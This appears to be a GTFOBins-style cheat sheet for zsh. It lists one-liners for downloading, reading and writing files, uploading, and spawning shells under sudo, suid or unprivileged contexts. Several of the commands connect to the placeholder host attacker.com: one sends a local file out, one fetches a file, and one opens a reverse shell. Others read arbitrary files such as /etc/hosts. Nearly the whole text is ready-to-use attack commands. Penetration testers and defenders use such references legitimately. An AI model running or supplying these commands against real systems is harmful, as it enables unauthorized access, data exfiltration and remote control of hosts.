zsh

Download

Context: sudo, suid, unprivileged

zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;echo -n "$(<&$REPLY)" >/path/to/output-file'

File Read

Context: sudo, suid, unprivileged

zsh -c 'echo "$(</path/to/input-file)"'

Context: sudo, suid, unprivileged

zsh -c '</path/to/input-file'

File Write

Context: sudo, suid, unprivileged

zsh -c 'echo DATA >/path/to/output-file'

Inherit

Context: sudo, suid, unprivileged

zsh -c '</etc/hosts'

Reverse Shell

Context: sudo, suid, unprivileged

zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;zsh >&$REPLY 2>&$REPLY 0>&$REPLY'

Shell

Context: sudo, suid, unprivileged

zsh

Upload

Context: sudo, suid, unprivileged

zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;echo -n "$(</path/to/input-file)" >&$REPLY'